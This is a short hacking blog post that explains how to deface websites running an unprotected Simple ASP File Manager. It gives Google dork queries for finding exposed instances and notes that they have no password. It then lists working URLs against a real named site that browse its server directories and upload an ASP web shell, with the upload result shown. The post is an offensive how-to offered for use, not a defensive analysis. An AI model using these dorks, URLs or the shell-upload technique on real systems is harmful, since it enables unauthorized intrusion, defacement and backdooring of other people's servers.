Deface Simple ASP Filemanager upload shell

Unknown   July 29, 2017   Deface, Hacking, Shell Backdoor, Tips & Trik, website, xploit   Comment  

[+] test : windows 10
[+] Website: www.anonymous-team.com

[+] source code : https://github.com/windylea/simple-asp-file-manager

dork:
inurl:safm.asp ext:asp
intitle:"ASP File Browser" ext:asp

After checking, no password has been added

After your search, you're gonna have the ability to do it in your tag. Upload file and .....

demo :
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5C_ScriptLibrary%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cupltest%5C
http://www.asycuda.org/wnfiles/mad.asp?browse=E:%5Cinetpub%5Cnewasy%5Cbookresource%5C

asp shell upload
http://www.asycuda.org/wnfiles/mad.asp?upload=E%3A%5Cinetpub%5Cnewasy
Uploaded File: E:\inetpub\newasy\pouya.asp
Content Type: application/octet-stream